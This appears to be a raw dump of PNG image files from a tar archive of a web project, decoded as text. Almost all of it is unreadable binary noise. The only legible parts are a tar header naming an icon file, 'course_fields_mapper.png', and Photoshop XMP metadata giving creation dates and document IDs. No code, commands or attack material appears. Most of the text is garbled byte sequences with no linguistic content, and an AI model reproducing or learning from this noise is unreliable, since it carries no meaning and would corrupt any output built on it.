��)��̋Z?�e~���r2���vZXW��k�jJi|>�sϟ�?����Og��n��b��Z��Eqq��ڙC���L_�G*�g�™�^U�8��=(�k�?:��&a@��f�
<�n5�Q��4��v?��-
�oذ���D{�S�w�����S��9e�{�9e~������&�/(s���<e>܇t���&i�~lnL�
H,=����
�j�����h�)�~��saf��8�z�\lǹ��G��<����P�s�r`N�E�Q��x�q�$���~{��^�{Iխ��j�V�zsl_�)��Qp��Ed*��i��/eԽ*����D�턦��HD�HL,=�tb×4!w�c���WLw70�ED�h6p0ͦJˀH�ٕ�$�$���\d��
�M�U#D��
�QO3b�$���اo��z������>R�=e������w�!��0
҂��~O����@aYV�w�%w�B�Ԓ0
�B�x��G�U���h--��Np�u˰T�.$�݋�w��v�����
!��D�q���/�D�0 \��E�
A@$e򍳕���v�$�)���	[]+D��LQp~�L�!E�!a@��^lf'�|$��Z��]��-��֟rP�U
҂����r���\����L�t���iB€p�M�_˜k��J>�E�q"H���d�L/
��kd-8�2n@�M€pMr	��Q���z��5����a@k�1�i@€p]b���.�!�O6|>=+�D:ȆlB��4�@��Bt	�5�k�!�.�
k��e�p���E�͉J]+D��lh��}
DZ�0
\�<v>�-�[��W������w�d�p���r�q�!��h�ۋI#r�S!��e�h��Bd.	Bt�b��d�p���
��4�ܿ�eB�y$Wԡ/C\�^%m�}c-��Jò��,�=�A€p��8ȶ�ifժU�1��>�����SYY�vI��aza�(����"D�F�GQ���ֺ�d���.\�m���ԩS����~FQQ�{�f̘1�B�N�g�ĉ��~��TWWc�&�H۶�۷/^x!������`�������D"��
�P���z��0O=�T��}0�֛�R�6Q�����	��݇�_�:��n5`Ϟ=,X�����'�=&����:���9��C:t(yyy����.5S�b��5CP|MmE�0
\S�g��U�Uf6������}���G���b�6�e�Dظqc�c|�}���[oe�ȑ@�޽;���2�Nw���$�}�vm�ݜ�
b�6K�,᪫�j�����������۶�F�TWWcY[�lirܯ��&��t�M0h�
N8�rrr�x<�}l�^(�#a@��F�|D/[��ɓ'��G���0��>y���bb��H�x<Ά
��=����]w�{,#F�
77����0B���0
āy���Oeݺu������n��i��zO�~���@~~>�ea�6�X�ի��r�l��0y�d�>�hЮ��?��ݵ]@kMYY�?�<��~{��Ǝ�i�(��n�0�L�䨣�Bk�eY��֢�f���M^���������mg�@
!Ґ�!ڠ;^�JKK9��y��C��4�R
��a����QG�m���ql�f�ʕM^ӷo_����B���oh�W$v����N/\�,#a@�SQQ�'�|����h	h���a|��G��۶�m�׋֚������/H���.UJ-�m��T�T��K��L€����O>��������Ç'��\��u�B�{<���ά��;���ܢ�ڵcǎM>�o�m��c��g�a�RJU*�ʕRu�h;	Bts�e�f�.��&�<���<�ގ�3W8K�(<�&]&]5�"��$�
��b��cà��&��xv��>�~,���_��])Uj�	B쟄!�
]nܸ��'6yl�t8�"ʠ�0����Ư5>[����+������b�[���W__*�����k�֫��۶��0�wq�!�0
�����*�`��4@�5%%%���{���?ox���6L��X(*�����
G���5�4��Scx�
���1��W�}��:;$$��۶���=8���j�a�J�'�k;�$!�	Bt{/�����:�ɳ�|:����x�)őu��ع�	�E�Ty=l���0��2��d��c��ODyP|Z��N�A2
$��Jr�R
�5�h4T^^~Q�"�H�h���on��#��,|���Zà��_,ʔ�]L߹��u�
��,
bu�����kP��Q��&de0��@����U1��p`k����:��*++��b����0`�m����r��=���n�>|�p��pJ�7p��x���W���e;wsXM-~����M(�����SF��C����dM(��@�
��V��:�C���.�a�F)++c��<���������;��BtK���Ė��z��o߾)�T��fbUW���Մ��
�X6˦(cxm��+"�A�Pl��|�aڝw��\u���ŦM�f�|���+����˗/��s	��$���t��JY�Qh఺�ݱ�3�*ȉ�S��I�	Y��9��O���wR�ZS[[�R�:��"_��W�SO=5w]{��N��o~�N9�ݝ�ᶡ8+ʥ�t��1�Ģ�ؽ��*+��q��0#�=,�X�p�޼\Г:�
`Y��E�F�F�z���љ3gZ�&M����q��+��`4���ΞC�.@d7	�5A�fsܮ�5���ݚԇ��mQ��pg����/}�QF��2���A�z���c�6~��s��
6�&O�*��^El��Z!�J�O��²,,�"�����ؔ)S�ӧO����/4Q�I~�ƫ0�
��YK€�r7b��g�ԡW�]O��W6�^֚���ã59�ŐH=���]Wá��E���,r,�~������QX��z�aE0Dв��zHEHN���#�ꂂ��ώ]�����3q.����x:Y@�r-����!�C€p�Hqg��ާ���&�
�g�$�)�Q�
�x�,��\���mQw���eH}�A�z�#1
�q�R|��Ü޽y'7�=c�M�K.(�F���ѡP(~�gXӧO��>�l?��lݨ���)A@�D€pE1�����*��h�7�[QvK^�Or�ak�BA1���5Y���lMQ,Jq,ʨ�:,�x=��2����8^��I]�,���*��c��M�>�:���P(܆������R��q�
�3��T�+�э?�{i2�]��7��Ӳ�co8(������i8�&lizGch��+�aضMEE�X�5jTl�����ɓ��}�h{���i������M�@€p��xS��{���h�Q2���%<���[�0�������~��1iҤإ�^�nj��qRɆ�����/-�%�+�۲���T�p���IEk�R
۶ٽ{7y�a.���N���'�l���޷�T���\x�)�4��x	�	���@����,�%PYY	Z3�S�9s&ǟp"�y��:t��/�K6oޜ�a
�vBH�*@Q��x��ZD�Kn&TSSC]]-��UW]əgM�����+����<U\\���K�Y�(*�U[��4�+n��|��u�R�Z�m.�%�Pr�@ee���eʔk�6m���0R�Xؼy���x���M
&TJy��bh��G���0
\c���$d�5�e�F�C\1s:W\q%#G���I�GR,�/^�8�����m۶�z��M�I:�0pF7�x�&	�5�:��@�1��8�H=�i2��\s�5�x�)��;b���իW�|��������۷o���
!p�*��$!:U�;����ap��:�R&M��H�R۶�/��2:�|k�ܹ�-[���A|>���W�^K�	;N��
a@�&9��E�&da���8�x�00�a�^p���Ir�`mm-h��aC�2�&M�D�⾤�a�޶m[l���'�x³t�Ҡ��3�~?����������<�ʓ���B�h>(\%a@����
��:㹮RJ}Ok���Қ��%����<^��χ��M�p��������:�ߏ/8���]ƈ��Hu�@MMM|�…�G}T-^�8�D<���;��c=�^{m�0���㎅�H���H�/�=n����E��,�,
7�0p'�|Ϛ@Iɗlݺ�M��PQYIuu5�h��C
����.̶�5K��A$�����=
��d�dƏ?Tʗ��-Z�(���O�`�oEE��4M��C�M�4ɞ<y�ѣG��%%%eW]u���Ou
����+���$W4Y|��K�e���o�L]]�w�b�Νl۶�u���嗛ٲe3KJ(+�����L��4M<Oü��T�$����c�>�?�l.��RN=u<�\R�%`Y�}�/��b��_�n۶�g�RJ�C��M�2ź袋Ԑ!C�KW
4(v���3lذ�Ց�	����!���z�؃���v--R���/e�00̀���mY���R�{۶mgǎ�|�r˖�`���ڽ���D0��~?��4Ok�:$W���"�����+�d™��+e�%hJw��ᥗ^���$��
����؅^�1c�gܸq�/h����NKa=6��*-
Ҁ�᪛�������ֺ�岺��񒓓GNN�4�w{�ʨ����M%�Z��M�JX�v[�m����=���Z7�$F��w-$7���eРL�:��/�Ġ�CH�M]m
���O�{��?�<�NA��B����G���*u�ǚ�p�þ	ě�:L)�.���ҫ<��$���h�@?@�@�)�@��}��f��?muu���԰k�N6n�ƍ)))a���l۾�ʊ*�����$�������a��K��Ɍ{(~
�?��x�י7�I��b��(Zkl��N��9s�}��z���e����s�aү0��$�ɦE�͹�x�>rs���ͧO��6�p��8�h�=eN+��
��OX�f-;v�`׮Rb�J)ÃaD�QCq�Y�s��s�GI�e���y��x�7����0<��qz��Ì3���ˍ��"S�Vw1�H�M2���8
Ҁ��1��Ï���w�R^���v]��H���¹r�@�~\4�h4ʞݻX���_��5kV�f�zv���!�g��i�s�����`�;�o�'���3�ٶ}g�qM��.��<.�:��Ç�zۺje�4ڏ
�B��"iB€H~�{�=X�Z1ݝeAU���`��6o���������!�m��)��m[�۷=z���w�����c����A��p(Ą3N�ʫ��#����@m
��Ĕ�_�#�U@�		"-4٧ �
\mcVY�ڵ��U�p�qp�aЧ�0�B��޶��W(�CϞ��ٳW;~��TVV���<�Ѓ���`�΀FC)�=����*N?�,<^_{ORN�ܼy3�rHʪo�\�)�"�Hi%���ӭ���������
��V�������b:F����'�����&����>a޼y���*+��z�&�F�`ʔ�\r�r�
:z2?�4��_���ᄏ���Q��ܮB�F$��p#6^n�۵;	x�Œ�p��AT�٬;];v:_K���'�lV,_����g��/�y�6�^/^���Çp��3y�B�b�I�	�-z���͗J��/k����"mHi#�U����Y�(m€�-)���{���*��_����/1�s,_�����wq'�ɴ˦q�G�J�E2����?���w�B�%���f�B��1B�	"m$7.���:p�Rj��z��ee�.�j�*+X���~�>��sjjj�ZSP��Ocڴi�x���~RP�}�Q��PVV6�0��N�	�J)U��*
ҏ��vb{�XHh���+M�k�E�K,��wy���X���TU��F�y=w�1\~�N;}��=R]��iӦ�O<��ϟ�ݶm�F������0��kiA€HK�@L�]��T�o��6?��0�#�1x�P���O8�����6˖~�����o�kw)���:v�]6���;�~�!�[WUUE�͛g=�쳞U�V�,���^/�{�~(�';H���L��SBD�Iv|��*�M)���:=7/�*JQWS	��ݥ<;�y�^/�99�STԓ#�<���g&6.r�f�M<�ȿy��l߾˶�,��^EL�t2�L� �C�x�=U�E�eE_|����?���O�X̣�&
����a$�S8~>�'m#��x�j`6����C€HK�n��a�xx��g�ݝwЯ__�55���Բ�tK6��~�m���\k!��,����9sX�n#JD�Q��
�:�믻��c��7Iu��'�|}�����b�eY*��Ç���5j�o~��>�DRyރ1���4��"DK$���l��ޝ�k��Y��Ś�����o���1�G�y�\����Ml۶��[����UT������gM4R�[o��ܹsY��C������̙�s��g�:p�}ٶm�[�.�����/x+++}>��x<�����2eJlƌ�}��)++��z��THL'�Y��V��$��eѰ�,��0�\��u�\p޹����e֬o&��X�8UUU�޵��_|����3��o=�R�Z���lڰ�!ÆSܻ�@�$v&<Ѕ�Y4h���yd�#���;TU��;�6�+����.�$�h�ٲe�?�|�ܹs}�7o��|>��֦iZ_|q��k�U#G�Ln���G���>�h�j8H�rH����h������������Fk��[�tu�(V�\�)�����5zV��((�AAa��s�'Y�}��wX�r5��O�>�u��;�p���O�>��/($&���g�x��y�g�]Z�ax=���Ť�/�+�����7_^��^��f�ʕAáMӴ�9��u�]g�?�$M>۔RW�G��"���?!ZbQ��d�N�ka�맂���Y)E��$�AEU%۶�
n�ٵk7[�nc�����e�0��Ç2x��JNN�w�y���>�����x<={��	g0}�4�q�/������O>b�ܹ���M,�����:��bӧO�.��Bo0��~���bVg�D!ҙ���f%Z�O�(�����؁��IDu��6���x���ٹk7;����H���2�m����`�����Яorr¬Y���K
r�S�2e
��6e����m>���}�^y�5�nۑ
��2eJ��K.����'��/��<�i�RS��cH��HDZ��,ݚ.c�TG�@�ӄƣ�����r���1}�6m*a͚5��lbS�F֮���Rv�.������rv�.u��^��r9�qL�l*�!�P��7�Y�n
���O�{��%��,��C�޽9��3��k�Q�F($�4�������E�D��0
�Z���+�ƻ��@�~����5�.������߆�߇�g�����
3b��1�9p.nٺ��ݻY�n-KJغu��m`��]��݋K&M���O�k���{�^y�e�y�YV���h,�mk�{1q��=�"Ə���k�K�%ػVWPJ�U܃��U@�9	�[�Ⱦu�!
��`���Ba|�p�-0bL��������y<3l��
��ǟ@܊SYQ��]�ؽ{7EEE�=�T��g[Q^z�E�z�i>��c��kQJ�{9��	L�>��?�p8�`�PT�?�J78nu�i�h	"�5[�p�R��Z�%.�����z<��=l�u�=B!籼|��Nع�
mjmP�^��={ѣg/Fu�N�����0����{��)'��x8���\q�L�<k"�z�i�J�™}J����U��U@tD��iس�\
�À�����wo竹~����o|**�YU*��͚ի�;�q^}�5J��a�ˊ3l�`.�:��'M�;z���;���ⷿ�mj�o�R��F�݋��-$[f�ݳ�u��lbt�F��{��*�֦ٳ{'�?�O=�,��l�����(����.g��i>�ϟ��
�]�~�β��T�߁�N�VѝH�N����R��ow�9]XŶ���T[S��/�G�l�
l
�P
�:�4����?�$|>���:����7D"��~�+�4�@)u�I�P��$�n�q�@!�2g0��]qn7��9	S�W��E�HSW[�G-a�#�����e��Jq��q�39���1���ٲ,{�����{lʪU��
<�o�})=�^�
��V��H�J���ӕR��۶m�7_c��sr�˜���=�=��r�r��{�W^Y@�rL��P��a��i\z�T�z���޵kW��W^������]�6
��mذ�6:!$�N��͈D7%a@tK��X)u���N=���ܒ�M|�{�K߾��߿/cF�d��0�^�����'/7/q��.�fS�F^|�y�|�iV�Y�����)�Փs�9��/���Æ��)����"�hѢ��?l,Z�(�����磔����-H���Rgo�p��;�0
��������0�"C)v����m;����X����~�z�`�r�Ǝ͠AC�ӧ7�{�!77�4]6[�n��7^��'���ϗck���WQN?}<S�N��O���F�?�06w�\�ꫯ����}999�|>���r�0+**�{*O���=
����0 ��d
���.�T)u��c�����{q��'�k�.v��EUu5��6}���%_b��IN8L���:��}�2r�p�A���(�ٓ���N��J�{o!�=�8�-!��Z
8���>m:��1��օ�,�bŊؼy��/��ݱc�?''���������'��?+**�%�nH�D��e�=
�;	�۲p��J�H)u��zy�Oc���m+;|�p���ܹ�
6�e�֬YÆ
)--�tO��u��Ŏ��X�l^����<���),,d�C<d(Cf���ߟ��=Q���ڶx�wy�gx{�Bv�ރR
�����cʔK8��s�ݻo�.Z_~��5���s�=g�^���F�=�|5�Ph^8~(77����-�|J�a�b����zD�������؍�[)5[k�h
Oc��~l���w[;3�^��B���p�G��vB@i);w�Ll0T�ڵkٰa��ֲs�n�o߉���#��4M��0�����ՋA�1d���ѣ�߿?^���[&[��ҥK�7oo��;w�$���f�L�<��/���Ç�*������͟??:o�<�����x<����%_	�o�Q��)��R3�Y(�U@d	�[K�o'��8�2<L��-?b�7��s/Aa�Kk�'�)(..����ѣG3~�x���(--eǎ����~�z6l��_~��͛���������*JKKٴi�~�)�a
��۷/���gРA�5�пz��aM�G�Z�u�V�|�I^x�6mڄR�h4Jaa!�wS�N�#�p�-�P,�wީ�;w�Z�h�Y__�M��ৡP�^�0�5Ms[<�����ʁ�%�L!a@t{�0���W���*��h�W��������[7r�W���O0E�h��]|8&3p�@}�q��h4JMM�����KJJ�m�X�r��z�jc�֭l߾ݨ���&/�eee�\�R{�^�unn.}���4H
8�;v�1b�7�o��=w�\c�ҥ>�����0�.�^u�Uy�����N�>����#�<�[o�孬����0>�oKqq�=^���H$�>��T�4�'pz�(^fH@€�8cr�*X��*�Z�v�}���T�	�˯~�g*+����~��g���(�ߏ�藺��8p
Zk"��]WWGEEElÆ
֚5k�˖-�V�X�+--�����Ō={�PVV��͛��?��ϧC���ѣ���|j�֭���j�m�Jkm~��뮻Ξ0a�?''�K�C�֭[#>����/��w�z�^
��|�������~�j�u�3C�Rj�؏�'r{wx"�H��B�~�?��Z��W��&����^�5J��8-�@�(,,�<X�v�i��q����޸qclժU֪U���7o�7l��)//7���Tmm��F����0l�&�1x��ȥ�^jM�6�ӫW��:�}�[����}�嗭Gy�X�~}0�P(��������h�B���Z�|\@sJ�C�������A$����!N/��v����T���Y��	�b������S�L�n���<�Ǜp���k@����7nܨw��_�zu|ٲe�-[��͛7��垂��،3�W^y�1lذ�]5H����.\�3g������Rޜ����4����ڶ���;;(��f���&D"�HeEx��8=Q�J�=�R=R5�@k�D)~���n�w���&_�B'v[
P�`�?f�ƌ�g��m����������ׯ��
��<�H?���БH�^�lY�`�…f$����`���x�ޝ��smmme}}׭�����3s��
���$��3-�Bpe'�0�Z�?TJ�������R���Fgj^���a����?ꨣ8ꨣR~۶��k�Ɵz��O?�+--��B!����z�[���3�p�~�e�
j�Y�pv���2Y���@DF��A/��ap|�74�Z�V)���;��;�俋�KϞ�)	��\�R=G?�X7n�����ּy�<�W���䨂��^����x(��F��;�9�ԩ���SD�0
2V%��^
�lhtB��U��~Oh`	���N��e��#1Tr��v�w�	^o�3������^{�z�G��>��TJy����z�:���ѣ��v�ٶ;--J���w��"w�R�]Cb��X_��ox��Ľ����ݳ�5�o
�ࢋ'��[/bc��f���c�X�7ި��~`���?���g�p8��ٳ'�p����������,˵U~A��='
2]��r���10;z��Zj����7zB�vض����M~z�w���o'��ͨq���b���}����`0�������i�O{<�/�b��H�H€�x��<��@PW��O���K��n�������[���!P;��n���ŋ�cƌ����8
ݥ�޺uk������/��l��|F~~>^�7ҳg�{
��m۟��-�ru����$����@�0[k=/����9��,��Q�2�0`����OF��k���}�ӷo_���g�92z�a��
R}��1�@��NW-]UU}��'cO>��oݺu&`$�������j��R�uuun�LfgI�H€��A&TJ��Z��\��կ�rG���s��o��s�:��gضMEE����³b�
�x�
��易�
>t�����ȑ#�#F�>}��>}���x|��z���h�W^�?����<~���C8~?�
xy��.��v�&�
�A)u
��jpB��m$�������)DM(C�RJ�h�7��\ڮ^����v	p�M�����׷)4����Y���i�=�m�e�s�N�֭[�,��g����={��#F���;�<x�=z��ӧ����a�/܄eY���~Z������x�
�PJi�47���5''����]��s�N�K�*D�U��	��	"�HY'���/S�S���}�Rjl
w;��rmu
o��p�z;�\�oa���\��TWW�cǎY�ƍ����=ɲ�C��0˲z۶�Z��e555Fee%�ׯ�����~�gϞV߾}�ѣGG?�pc��F�~�T8����������q���$6gΜ�s�=gVVV���@�׻;>^TT�G�p�ڽ?[Z�����
��# �����&c0;�mj��S>��f�gV(��
�(���;����|����^�i%H��k�ټy�����M`>�U��gee��e��,�x<>8�I�oY��k�.c���,Y�ğ��86`�kРA�#FأG�6���c���������~#�lߖ{��ͱ��z��<[�l�	�������x�L�\гgϿ<��9?H��*S&9P��i��G���rDVk<��D�����,|,�����7+�*�qǝ�3O=ΡG�����Ҏ7lؤ���-�J|1���C�Hd�����x<~�eY�,�ʷ,�Hk���&��V�^���VAA�=j�(k�ȑz��j�رvqq�777�(((�0Eb߂di{���x�؜9sԧ�~�FAA@m0\��6���Ϥ��/�~��iJ�Y�E���g`a��J�ϵ��Sy�X�r����|�є��s�?��g_��T�n���4��ɻ.�V&����'�����h4:����(۶��1:�
EyyyE�x�X,�)++�,\����o����B�W�^<8:v�X
d<�޽{{|>�^�ti|Μ9������b1o~~>�.�����=��U�QC��0`VL��Y�A��	B�7���5~7zYg�#�����P(t�'wd
𫛾q��b+3��C5�H�J�}��s�L��퉯%Ӿ�\���f�mۃ|>ߘH$2¶�e����=��x
����ƞ={X�|�綾^ҁ@�...��
�����Gyw����ÄB!�������M�|�O^�U��s�=w<��E%��x)G

�$a@����r��B�<��G�N���<���ߡ|��{~���QZZʍ_��N���n���z����)_��F����aJ�A��գ,�k�v?۶�Y�U�ŔeY�m۶y6m���Bv�B�'�_x`��U�9�{�3q���*��ƛ��R�$a@�ff%Z	n!N�.(C��Z��V�X}ͽ�@x
��v?���̼��9d��?O:��>3���)��_y��m�EZ�Z�>�ol$9Բ�a�x�˲0�
�B����}�Ή���-^~���7
�1`6ކ�'��K%G,w���0
���/��Gn�Y�Ut����t�e��/��`�}I�>
@0d�+#�1!��~D��cEj�C�/&n)���
�0��-Z����;|n��-�����w�-�Z��:�5`z��	���*4y�kO���S\�+��@€8���ܒ\DQ�4ߟ��^��7���p.d���tQ�L�<$�&[4�
L€��H�	�hE��h<��}���p�	�j]�
���W!p����J����mA�E��5@�����e@�]���rq��c8�wݫ,k�|-�ĺ�Hk�h;i��!Z���
��f�A�ℂ�n֘%vLN�B��^�8H�.4��q|�	�W��8����s\*1c)���	���8]��E#!@���0
D;ݸ�P�S����8��)�j�J����
�2��8+�,$DGI���ܔ�>�YUp�R���To��
�R�qB��dK@=�H5	B�H�d(�C}�����ׁ�Z�u.����RÀb�z$�HK��G€)v�~BA�V�(��@�(�<�$�V���Yt�(OLTH��H��4gL�����J�YJ��o��i��o'I�cpXz
E}b�`� Dב0 D'k�R`�,^d!�UY�c}��Uk]ҥ�v��
�NhX�!g,@U�ł@B�]E€]��m@���R)5g݂�Qk���M���N���Ǔ��x^$�	B���Z�f�Q4��B~
����p�TJ%W:��\?��[��R����8����&��8?�x��&$�	B�hV�`��i)H�10hɕ(���	u��jq��m�Z��	�R@O�1~^�^�?~�<��FO��i�H������/D��0
Di�+�����>�>�ee��Zz/��_p��6��miY�s�_�~��B���z4q���j4w���H"�I"M�{��ϵ>�=�`5�pBCr�uKM-���Z�@uJ��x,��$Q��V<BQ��Hl�ռ�C��$�M�tWl��fr�A-��5�_����z��8w�`&���@<��/~!�/	Btc�5���В�@i�"sI"�Ɋ}B���O
!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�y�.
]T��.A!�p��
���%!��ɔn���!��*u�)a`;P�vB!���H�L	��r��B�5�s��Tʔ0��!��
���."�2)��q�!��O@��"R)��@p��E!��hw��Tˤ0�(�g��B��6��a��ya���.B!DF�8��r�"���I��.�!��{ۄs�y"���Z:���Y�W)u���x���@��+K�1�1n!�������]H;T_�h����EZ�V�@/�Dt�#Օ
!���U�v5��00�	B!D&؃3����j��;f��HB!2E`���O��2p�.*L�9��w��.��op�!�^�����n�À��Btg�~���pp�ۅ!gO��e-u�	BtgW��^A�AK7"k��.8�|�i7�a�R��Bt����h�E8�B�����q���"�H���.���q�!D�ˠ�
�\*D�K�.��2j�W!��	�4�t�!DjXn�F1�B4	MÀ�)
D�v����8�B4A�0�n����n�F׻]��A������!�H��g�]D+�.p�!D���4|�JB�Tz炛n�8˜�v�!D�B�u���G
���p�0u�g��s��.�"���eZ��/��+�Bd�M�0�u�q7A��K	!��k���–v-|�#�Bd�����]�7�cܨN!���#�,��0�|�BO����B�9^�QHj)�8�B`��s�B!D'ێsM��fAZ3�\��g�Q�m
�B��M�����@}K�o�@[�t�@!�Bt�6o1�$!�";�òB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!���!�"�IB!��y��WuIEND�B`�assets/images/icons/course_fields_mapper.png000064400000076540151165724360015354
0ustar00�PNG


IHDR,^ɰ)	pHYs���iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.6-c145 79.163499, 2018/08/13-16:40:22        "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
xmlns:exif="http://ns.adobe.com/exif/1.0/"
xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"
xmp:CreateDate="2021-03-08T10:31:22+03:30"
xmp:MetadataDate="2021-04-19T12:53:37+04:30"
xmp:ModifyDate="2021-04-19T12:53:37+04:30"
dc:format="image/png"
xmpMM:InstanceID="xmp.iid:ebfefccb-55da-f24d-9318-0cea4063a6b3"
xmpMM:DocumentID="adobe:docid:photoshop:23287000-cb2d-c64f-8461-67ffdb75fc0c"
xmpMM:OriginalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"
photoshop:ColorMode="3" tiff:Orientation="1"
tiff:XResolution="720000/10000"
tiff:YResolution="720000/10000" tiff:ResolutionUnit="2"
exif:ColorSpace="65535" exif:PixelXDimension="515"
exif:PixelYDimension="300"> <xmpMM:History>
<rdf:Seq> <rdf:li stEvt:action="created"
stEvt:instanceID="xmp.iid:9c2e6c2c-3107-b942-9911-dfc136b5d226"
stEvt:when="2021-03-08T10:31:22+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"/>
<rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:c160889f-53c2-914e-93a2-1265e0eeda00"
stEvt:when="2021-03-14T17:57:35+03:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li stEvt:action="saved"
stEvt:instanceID="xmp.iid:b2884f0a-04ac-704d-a0eb-5bdd26ef47d1"
stEvt:when="2021-04-19T12:53:37+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> <rdf:li
stEvt:action="converted" stEvt:parameters="from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="derived" stEvt:parameters="converted from
application/vnd.adobe.photoshop to image/png"/> <rdf:li
stEvt:action="saved"
stEvt:instanceID="xmp.iid:ebfefccb-55da-f24d-9318-0cea4063a6b3"
stEvt:when="2021-04-19T12:53:37+04:30"
stEvt:softwareAgent="Adobe Photoshop CC 2019 (Windows)"
stEvt:changed="/"/> </rdf:Seq> </xmpMM:History>
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:b2884f0a-04ac-704d-a0eb-5bdd26ef47d1"
stRef:documentID="adobe:docid:photoshop:d526789f-ac79-cd4a-9a0d-16d02b8f7148"
stRef:originalDocumentID="xmp.did:9c2e6c2c-3107-b942-9911-dfc136b5d226"/>
<photoshop:DocumentAncestors> <rdf:Bag>
<rdf:li>44255DDB773950C46F80D1450CF0DBDC</rdf:li>
<rdf:li>87FEABF05939505235737EE42C246F67</rdf:li>
<rdf:li>B3D621D2ABBE919F83ED6C409EEE7F0C</rdf:li>
<rdf:li>D16B72E9DF0C6D65519F995D1857825A</rdf:li>
<rdf:li>adobe:docid:photoshop:636401db-6a2b-ad43-adc7-81e60bf44485</rdf:li>
<rdf:li>adobe:docid:photoshop:957feb56-ceb9-394d-8901-266a5261e4e4</rdf:li>
<rdf:li>adobe:docid:photoshop:9cbcd789-19bc-6649-a45d-7007ec850f72</rdf:li>
</rdf:Bag> </photoshop:DocumentAncestors>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>ǂ:/p�IDATx��w|SU����ޤi���Y�����{o����Ͻ���{�ǁ{/p��"[�%�g)���ir�q�۴M��}�^�M��{O���N��FA��Ŋ�AA�/"A!�1
� i��AAHsD� B�#b@A�� ���A�4GĀ
� �9��
�T<��XdR�5�
B�x���Z����88��
�P뀟����Iqq�½	R�2���W�"�
$=��_�=�X��NI1�����
)C1����H�IE1���A!6���AD�T�g�{�
B�R��yQCk�R��C! �
Ėf��=�h�Jb�x@AHN��{�$���x@AH2�}�=�h�*b��=ރA҆!�@4I1�1�AҊ�@4I1
� ��7��&"A!�1 �
i��AAHsR�kaDl�KSR�c�T|�uyպ��A��B4�	�{qG�@1��NC��
�������)���
�W������:	���O$� uGĀ
�	]a���X�������(P6A�ʈ�j�8��rҏ&Ս��0�
�A�@�X�f	��hV�Y
��l�h��m�iŇ)Ɲ�@�:�=�
E`;����:2Y
���H6�Y�B�X����ot�Zps��|�r�~��6���U�B�^ؖ
��Q�.(�x��ZtCeuE�
�J�R]��|�/�ih>��	�%��?���y���}��݀���qWJ��]�UR�����x�N�`.��j4���vf���3f���
�l�\,��v��B��\$���&@��w�5�p�[CnT�,�pT�(o7�3*��8��b|\��/�q/�<�h�AՁM���khQ�{(_pp/в.ϯj���yb���1�!r����3��q��B{�&kRa&��ĿX�Q׫�5�m3�#jr�g��!�u���0��Zc�}g�ί���X9'`5���	h/VA�%oc�~�{(_�3`T,U�G��D����|��"Dl'Y�6��/4_�y�d5��R�P�f�C��b&{���V�踚���1m>�a�BK�5/���V_���խ5�&������@��kݳ,��������]�g)�`�gBך�1`ĀXk���l�ͻ����VA3{1_�i�&�1�X��W�Lf!��[{`/�o�t���a*A�l:+��.����?��'�!a��uڿ�{x0꣪w�Yh���o���R��\��h�����f����?b�j��?8qjE&��{�GMmC��۰=�`u�*�f�#����������AՁM@�큎uE�:3���!��$��y���%k�m&�U���*L`&�/�а�������?�=O&��'jٍ�L�^S
u��z�/D�fa\{��0�ə�X���
�F`>f��!�tǸ�����(��%
cZ!b
��
��8|��/E{]�7x�|��|IQ�D8[1X����p�Rt�ny��F��zȇU"fj�q7p%ڿ��#������
GB��!ڿ��=�o���
aQ��6����t�@�.����C5~�Ŭ��a�0�P/�݁�����@�X;
k���]�B���
!I��QΤ|���sj�+����8-��<���v7��	?�>.��2�)1��٘t�/0&�RG�	7.V`��'����v���Ϲ�+���%�ě
$m�Lڿ8�tXQ�O�G��`�'��TD$����8N>��L��oa�k~��PW¢`5��r
p�V��1��op�ޅ��0�>5Iҗ�1��囎�t82t�W��ha����>�LZ��w�D�+��+\��ý8n���ZÕ�U�d700Vh��7p�/�?�d>z��z���uM�H!*��5~��<���峁}��I����ASM��N&���]x8
�(
�D@E�Ys������E�1�!G�=�"�#��cL�n�|a|�_Ǣ��>�(�8�;)1{���\@��q�<��E��]�<�D���7ɻ��+@pz�h%��Έ��!��k�hgS���O0.͓���S��e��ꀼY��Z!0���W��x8���&,.����}�
����lB�
���7[�o$�%08�ϋ�9��>��B�
���>.���h������x76��)�<Sl��
�'c)zҋxvof�*
B�s,�	�7�?��GQ��@g`5�O�dž�b2�.���4>[l����y�`��g���q�^ؠ�)Rg���p�"�E�����mc���a�4Bݱ1�̯N
�B�~Oߞ����
$�0&�W�9hND�R������vS�3�?�)�>��i��~ʢ|��tC]�I�S1u�
����"����u�h��}&�z���W�3
]�e1��]y���px7��|��|9�Qm+��0�Q/�ށ�����<�3�#���Z���Z�R�A����
}-z����+Ъ��?N��ɒ��i�^/D1
1ѥJ!���p��x�	S�C�@�q1)��bV1��GEp�o�%��
$.&.�fL��^@���k�@�GO�k#���å
!�x��q�P�+�͘J��S�3=�Z�q�(�[�v<�M"a;0f�ڸ��u,SWdd�{�"Dѣ�{Y<g,n�y�%L���w�X�15ПĤ�-E;��?���;4AHVG��p@α
X��������>�0�م"�ѡR�������׀1��Blن��fw,D�8���$�PHsj��"]����3C�|���/F���|u'@��	w?���
